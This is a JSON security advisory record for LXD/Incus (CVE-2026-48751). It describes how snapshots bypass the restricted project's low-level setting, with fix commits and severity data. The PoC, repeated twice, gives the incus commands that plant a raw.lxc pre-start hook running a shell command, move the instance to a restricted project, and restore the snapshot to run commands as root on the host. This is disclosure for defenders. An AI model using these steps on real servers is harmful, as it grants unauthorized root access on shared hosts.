{"id":"GHSA-47w9-6r3f-938g","aliases":["GHSA-47w9-6r3f-938g","GO-2026-6932"],"related":["CVE-2026-48751"],"kind":"vulnerability","state":"published","title":"LXD has restricted project bypass leading to arbitrary command execution","summary":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv\n\n### Summary\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\n\n### Details\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\nAs snapshots can be moved from one server to another, a malicious\ninstance+snapshot can be crafted locally, moved to a restricted project\nand the snapshot restored for arbitrary command execution.\n\nIn practice, this allows a malicious actor to execute arbitrary commands\non the host with root privileges.\n\n\n### PoC\n\n```\n# remote, restricted\nincus project set rem:project restricted.true\nincus project set rem:project restricted.containers.lowlevel=block\n\n# locally, unrestricted project\nincus init images:debian/trixie rce-raw-lxc\nincus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c \"/bin/id >/lxc-hook-prestart\"'\nincus snapshot create rce-raw-lxc snap0\n#> allow transfer to restricted project\nincus config unset rce-raw-lxc raw.lxc\n\n# locally, transfer and trigger\nincus move rce-raw-lxc rem: --mode push\nincus snapshot restore rem:rce-raw-lxc snap0\nincus start rem:rce-raw-lxc\n```\n\n\n### Impact\n\n- Bypass of project restrictions.\n- Arbitrary command execution on the Incus server.","summaryFormat":"markdown","summarySource":"ghsa","descriptions":[{"lang":"en","text":"Reported from https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv\n\n### Summary\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\n\n### Details\n\nInstance snapshots ignore the `restricted.containers.lowlevel=block` setting;\nallowing for arbitrary command execution on the Incus server by abusing\nlowlevel hooks such as `raw.lxc` and `raw.qemu`.\n\nAs snapshots can be moved from one server to another, a malicious\ninstance+snapshot can be crafted locally, moved to a restricted project\nand the snapshot restored for arbitrary command execution.\n\nIn practice, this allows a malicious actor to execute arbitrary commands\non the host with root privileges.\n\n\n### PoC\n\n```\n# remote, restricted\nincus project set rem:project restricted.true\nincus project set rem:project restricted.containers.lowlevel=block\n\n# locally, unrestricted project\nincus init images:debian/trixie rce-raw-lxc\nincus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c \"/bin/id >/lxc-hook-prestart\"'\nincus snapshot create rce-raw-lxc snap0\n#> allow transfer to restricted project\nincus config unset rce-raw-lxc raw.lxc\n\n# locally, transfer and trigger\nincus move rce-raw-lxc rem: --mode push\nincus snapshot restore rem:rce-raw-lxc snap0\nincus start rem:rce-raw-lxc\n```\n\n\n### Impact\n\n- Bypass of project restrictions.\n- Arbitrary command execution on the Incus server.","format":"markdown","source":"ghsa"},{"lang":"en","text":"LXD has restricted project bypass leading to arbitrary command execution in github.com/canonical/lxd","format":"markdown","source":"go"}],"published":"2026-11-06T19:51:26.000Z","modified":"2026-11-23T20:41:38.954Z","severity":{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"rating":"CRITICAL"}],"cwes":["CWE-862"],"affected":[{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260630083100-c5184be310b1"}],"ecosystem":"Go","package":"github.com/canonical/lxd","purl":"pkg:golang/github.com/canonical/lxd","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.0.0-20260630083100-c5184be310b1"}],"ecosystem":"Go","package":"github.com/canonical/lxd","purl":"pkg:golang/github.com/canonical/lxd","source":"go"}],"references":[{"url":"https://github.com/canonical/lxd/security/advisories/GHSA-47w9-6r3f-938g","tags":["advisory","web"],"sources":["ghsa","go"]},{"url":"https://github.com/lxc/incus/security/advisories/GHSA-48q5-w887-33wv","tags":["web"],"sources":["ghsa","go"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48751","tags":["advisory","web"],"sources":["ghsa","go"]},{"url":"https://github.com/canonical/lxd/commit/5aac658c888d52e3a2480a8f879799ac643fdc49","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/canonical/lxd/commit/6b93b2a0c4f6f3eaf91e1e813f6875d5eb66b59b","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/canonical/lxd/commit/a52e5d06a52fb7ad8862cb2a8659a8c47e446efe","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/canonical/lxd/commit/cfd9f66f6af89e1fa3b3acb12bfe72f51b7f1e19","tags":["fix","web"],"sources":["ghsa","go"]},{"url":"https://github.com/canonical/lxd","tags":["package"],"sources":["ghsa"]},{"url":"https://github.com/canonical/lxd/releases/tag/lxd-5.0.7","tags":["web"],"sources":["ghsa","go"]},{"url":"https://github.com/canonical/lxd/releases/tag/lxd-5.21.5","tags":["web"],"sources":["ghsa","go"]}],"credits":[],"sources":[{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-47w9-6r3f-938g","url":"https://github.com/advisories/GHSA-47w9-6r3f-938g","licence":"CC-BY-4.0","modified":"2026-11-23T20:41:38.954Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-6932","url":"https://pkg.go.dev/vuln/GO-2026-6932","licence":"CC-BY-4.0","modified":"2026-11-23T20:30:11.787Z"}],"updatedAt":"2026-11-25T22:56:25.593Z"}